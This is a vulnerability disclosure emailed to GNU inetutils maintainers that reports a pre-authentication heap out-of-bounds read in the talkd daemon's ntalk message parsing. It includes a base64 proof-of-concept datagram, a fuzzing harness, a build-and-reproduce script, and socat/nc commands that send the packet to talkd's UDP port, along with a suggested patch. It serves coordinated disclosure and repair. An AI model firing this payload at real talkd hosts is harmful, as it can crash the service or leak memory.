Hello GNU inetutils maintainers,

I am reporting a heap out-of-bounds read in the talkd daemon (ntalk / BSD talk 
protocol over UDP). The bug is confirmed with AddressSanitizer on a real 
compiled build of upstream GNU inetutils talkd; inetutils talkd is not covered 
by OSS-Fuzz. I am following coordinated disclosure and have not published this 
report.

Note: resending in English for clarity; apologies for any duplicate.

## CVE #27: heap OOB in talkd CTL_MSG parse (Medium)

### Summary

The ntalk request message is a fixed-size `CTL_MSG` structure of 84 bytes, laid 
out as:

```
vers(1) type(1) answer(1) pad(1) id_num(4)
addr(osockaddr 16) ctl_addr(osockaddr 16) pid(4)
l_name[12] r_name[12] r_tty[16]            <- three fixed-length char[] fields, 
not NUL-terminated
```

The talkd main loop fills this entire structure verbatim from a UDP datagram
(`recvfrom (fd, &msg, sizeof msg, ...)` at `talkd/talkd.c:166`) and never forces
NUL-termination on `l_name` / `r_name` / `r_tty`. `process_request()` then feeds
these fields to `syslog ("%s", ...)` (`talkd/process.c:76`), whose `%s` reads
byte by byte until a NUL. When all three fields are packed with non-NUL bytes,
`%s` starting at `l_name` runs to the end of the struct (offset 84) and one byte
past it: a heap out-of-bounds read (CWE-125). This is a pre-authentication 
issue:
the ntalk protocol carries no authentication, and any host that can send a UDP
packet to the talkd port reaches the parsing code.

### Root cause

`talkd/process.c:76` (identical in the latest inetutils 2.8 tree):

```c
if ((logging || debug) && msg->type == LOOK_UP)
    syslog (LOG_NOTICE, "dropping request: %s@%s",
            msg->l_name, inet_ntoa (sa_in->sin_addr));   /* <- process.c:76 */
```

`msg->l_name` (offset 44), `r_name` (offset 56) and `r_tty` (offset 68) are
fixed-length `char` arrays with no guaranteed terminator. The incoming datagram
is copied whole into `CTL_MSG` by `recvfrom` at `talkd/talkd.c:166`
(`recvfrom (fd, &msg, sizeof msg, 0, ...)`), and no code path terminates the
fields before they are consumed as C strings. When the trailing 40 bytes of the
84-byte structure are filled with non-NUL bytes, `syslog("%s", l_name)` reads
through the end of `l_name`, `r_name`, `r_tty`, and 1 byte past the 84-byte
allocation boundary.

This is one instance of a class of bugs: `recvfrom` into a fixed-length `char[]`
field followed by use of that field as a NUL-terminated C string with no forced
termination. Other consumers in the same tree include:

- `talkd/announce.c:133` `len = sizeof (PATH_TTY_PFX) + strlen (request->r_tty) 
+ 2;`
  and `talkd/announce.c:140` `sprintf (ttypath, "%s/%s", PATH_TTY_PFX, 
request->r_tty);`
  — `announce()` runs unconditionally (no logging/ACL gate) when `do_announce`
  locates a logged-in user; `r_tty` is the last field of the struct, so a dense
  value drives `strlen`/`sprintf` past the 84-byte boundary. An attacker sending
  an ANNOUNCE aimed at any currently logged-in user reaches this path.
- `talkd/process.c:98` `syslog (LOG_INFO, "%s@%s called by %s@%s", msg->r_name, 
...)` (ANNOUNCE success + logging).
- `talkd/table.c` `find_request` / `insert_table` `strcmp` on `l_name` / 
`r_name` (same root cause; reads into the adjacent field).
- `talkd/print.c` `print_request` (debug mode `%s`).

### Impact

- Confidentiality / information disclosure: the over-read exposes bytes adjacent
  to the `CTL_MSG` allocation (neighboring struct fields, heap metadata). Read
  volume is small (tens of bytes per packet).
- Availability: if the over-read crosses a page boundary into an unmapped page,
  talkd crashes (DoS).
- Trigger: pre-authentication, over UDP, by any host that can reach the talkd
  port. The `process.c:76` logging branch requires talkd started with `-l`
  (logging) or `-d` (debug) and an ACL `DENY`; the `announce.c:133` variant 
needs
  neither and triggers on a plain ANNOUNCE aimed at a logged-in user.
- Severity is Low-Medium: talkd/ntalk is a legacy protocol seldom deployed on
  modern systems, and the over-read is bounded.

### PoC

The PoC is an 84-byte ntalk `CTL_MSG` datagram. Fields: `vers=1` (TALK_VERSION),
`type=1` (LOOK_UP), address families AF_INET, and offsets 44-83 (`l_name` +
`r_name` + `r_tty`) filled entirely with `0x41` ('A'). A talkd built with
AddressSanitizer that receives this datagram over-reads at `process.c:76`.

The driver below (`fuzz_talkd.c`) mallocs exactly `sizeof(CTL_MSG) == 84` so the
ASAN redzone sits immediately after the struct and catches the over-read. It
links the real upstream `process.o` (the code containing the bug); only
`acl_match`/`do_announce`/table/print helpers are stubbed to isolate
`process_request`, and `syslog` is stubbed to a `vsnprintf` that consumes the
`%s` argument (driving the read) without touching `/dev/log`.

`inetutils-talkd-ctm-lg-heap-oob.bin` — 84 bytes, base64 reconstruct:

```
echo 
AQEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
 | base64 -d > inetutils-talkd-ctm-lg-heap-oob.bin
```

`fuzz_talkd.c` (full source):

```c
/* libFuzzer harness for inetutils talkd process_request (ntalk UDP daemon).
 * No upstream fuzzer. CTL_MSG l_name[12]/r_name[12]/r_tty[16] arrive raw from
 * a UDP datagram (recvfrom into CTL_MSG) with NO forced NUL-termination.
 * process_request passes them to syslog("%s", l_name) (process.c:75-77),
 * which reads until NUL — past the field and (for trailing fields) past the
 * whole 84-byte struct => OOB read.
 *
 * Harness mallocs EXACTLY sizeof(CTL_MSG)=84 so ASAN redzone sits right after
 * the struct and catches the over-read. The early-return branches (ACL_DENY at
 * process.c:82) are reached BEFORE the switch, so the switch's table/print
 * callees are never executed at runtime — we stub them (plus acl_match -> 
DENY
 * to force the logging branch) to link process.o alone. process.o is the REAL
 * compiled code containing the bug. syslog stubbed to vsnprintf-discard so the
 * %s arg is READ (triggering the OOB) without /dev/log I/O. */
#include <config.h>
#include <syslog.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <protocols/talkd.h>
#include "talkd/intalkd.h"

int logging = 1, debug = 0;

/* stubs: isolate process_request's own code; never reached on the ACL_DENY 
path */
int acl_match(CTL_MSG *m, struct sockaddr_in *s){ (void)m;(void)s; return 
ACL_DENY; }
void do_announce(CTL_MSG *m, CTL_RESPONSE *r){ (void)m;(void)r; }
CTL_MSG *find_request(CTL_MSG *r){ (void)r; return NULL; }
int insert_table(CTL_MSG *r, CTL_RESPONSE *p){ (void)r;(void)p; return 0; }
CTL_MSG *find_match(CTL_MSG *r){ (void)r; return NULL; }
int delete_invite(unsigned long id){ (void)id; return 0; }
int read_utmp(const char *f, void *n, void *u, int o){ 
(void)f;(void)n;(void)u;(void)o; return -1; }
int print_request(const char *c, CTL_MSG *m){ (void)c;(void)m; return 0; }
int print_response(const char *c, CTL_RESPONSE *r){ (void)c;(void)r; return 0; }

void syslog(int pri, const char *fmt, ...){
    (void)pri; char tmp[8]; va_list ap; va_start(ap,fmt);
    vsnprintf(tmp, sizeof tmp, fmt, ap); va_end(ap);   /* read %s -> trigger 
OOB */
}

int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size){
    size_t n = sizeof(CTL_MSG);              /* == 84 */
    if (size < n) return 0;
    CTL_MSG *m = (CTL_MSG*)malloc(n);        /* exact size: ASAN redzone after 
byte 84 */
    if (!m) return 0;
    memcpy(m, data, n);
    m->vers = 1;                             /* TALK_VERSION */
    m->addr.sa_family = htons(AF_INET);      /* pass addr-family checks */
    m->ctl_addr.sa_family = htons(AF_INET);
    m->type = 1;                             /* LOOK_UP */
    struct sockaddr_in sa; memset(&sa,0,sizeof sa); sa.sin_family=AF_INET;
    CTL_RESPONSE rp; memset(&rp,0,sizeof rp);
    process_request(m, &sa, &rp);
    free(m);
    return 0;
}
```

### Reproduce on real upstream

The buggy code is identical in inetutils 2.7 and the latest 2.8 tree
(`talkd/process.c:76`, `talkd/talkd.c:166`, `talkd/announce.c:133/140` all match
in `inetutils-2.8`). Source: 
https://ftp.gnu.org/gnu/inetutils/inetutils-2.8.tar.gz

`repro.sh` — builds real upstream talkd with AddressSanitizer, then runs the
`fuzz_talkd.c` driver against the real `process.o` parsing the PoC:

```sh
#!/bin/sh
set -e
URL=https://ftp.gnu.org/gnu/inetutils/inetutils-2.8.tar.gz
PKG=inetutils-2.8

# 1. Fetch and unpack upstream.
curl -O "$URL"
tar xzf "$PKG.tar.gz"
cd "$PKG"

# 2. Configure; disable optional deps to keep the build minimal.
CC=clang CFLAGS="-g -O1 -fsanitize=address -fno-omit-frame-pointer" \
LDFLAGS="-fsanitize=address" \
./configure --disable-dependency-tracking --disable-encryption \
            --without-libedit --without-ncurses --without-pam \
            --without-wrap --without-readline >/dev/null

# 3. Build just enough to get the real talkd objects (process.o etc.).
make -C lib
make -C headers
make -C talkd process.o intalkd.h 2>/dev/null || make -C talkd

# 4. Compile the driver against the real talkd objects + libinetutils.
D=../fuzz_talkd.c   # path to the driver source shown above
clang -g -O1 -fsanitize=address,fuzzer -fno-omit-frame-pointer \
      -I. -Ilib -Iheaders -Italkd \
      "$D" talkd/process.o talkd/acl.o talkd/table.o talkd/print.o \
      talkd/announce.o lib/.libs/libinetutils.a \
      -o fuzz_talkd 2>/dev/null || \
clang -g -O1 -fsanitize=address,fuzzer -fno-omit-frame-pointer \
      -I. -Ilib -Iheaders -Italkd \
      "$D" talkd/.libs/process.o talkd/.libs/acl.o talkd/.libs/table.o \
      talkd/.libs/print.o talkd/.libs/announce.o lib/.libs/libinetutils.a \
      -o fuzz_talkd

# 5. Reconstruct the 84-byte PoC and run it through real process_request.
echo 
AQEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
 \
    | base64 -d > inetutils-talkd-ctm-lg-heap-oob.bin

ASAN_OPTIONS=detect_leaks=0 ./fuzz_talkd inetutils-talkd-ctm-lg-heap-oob.bin
```

Expected ASAN (heap-buffer-overflow READ of size 41 at process.c:76, in the
`%s` argument read inside `process_request`):

```
==1201572==ERROR: AddressSanitizer: heap-buffer-overflow on address 
0x608000000174
READ of size 41 at 0x608000000174 thread T0
    #2 0x54eaec in process_request .../talkd/process.c:76:2
SUMMARY: AddressSanitizer: heap-buffer-overflow ... in printf_common (syslog %s)
```

The crash trace resolves into the real upstream `talkd/process.o`
`process_request`; the stubs only isolate the call graph so `process.o` links
standalone. The bug is in the real `process.c` compiled object, not in any
harness or mock.

To reach the same parse path over the network on a real ASAN-built talkd, run
talkd with `-l` (logging) and an ACL deny rule (or `-S` strict_policy, which
makes `acl_match` return `ACL_DENY` with no ACL file per `talkd/acl.c`), then
deliver the 84-byte PoC as one UDP datagram to the talkd port, for example:

```sh
# talkd built with ASAN above, launched for testing on a high port.
talkd/talkd -S -l -d   # uses the kernel-assigned / inetd-supplied socket

# Send the reconstructed .bin as one 84-byte UDP datagram:
socat - V4-UDP-DATAGRAM:127.0.0.1:518 < inetutils-talkd-ctm-lg-heap-oob.bin
# or:
nc -u -w1 127.0.0.1 518 < inetutils-talkd-ctm-lg-heap-oob.bin
```

Notes for full transparency: in the live daemon the over-read happens inside
glibc `vsnprintf` (consuming the `%s` argument), and ASAN detection of
`%s`-argument over-reads depends on its printf-family interceptors being
installed; on some glibc/ASAN combinations those interceptors fail to install at
startup and the stack-based `msg` over-read is not surfaced. The harness above
exercises the identical code in `process.o` but places `msg` on the heap at
exactly 84 bytes, where the heap redzone is poisoned and the same over-read is
caught (READ of size 41 at `process.c:76`). The code path, the parsed fields,
and the root cause are identical to the live daemon.

### Suggested fix

Force NUL-termination on the three fixed-length string fields right after
`recvfrom`, before any string consumer sees them (smallest patch; closes the
whole class at once). In `talkd/talkd.c` immediately after the recvfrom, or at
the entry of `process_request` in `talkd/process.c`:

```c
msg.l_name[sizeof(msg.l_name)-1] = '\0';
msg.r_name[sizeof(msg.r_name)-1] = '\0';
msg.r_tty [sizeof(msg.r_tty )-1] = '\0';
```

Alternatively, switch every consumer (`%s`, `strlen`, `strcmp`, `sprintf`) to
length-bounded equivalents (`%.*s`, `strnlen`, `strncmp`, bounded `snprintf`),
covering `talkd/process.c`, `talkd/announce.c`, `talkd/table.c`, and
`talkd/print.c`.

Thank you for your time and for maintaining inetutils.

Best regards,
zhangph <[email protected]>


Reply via email to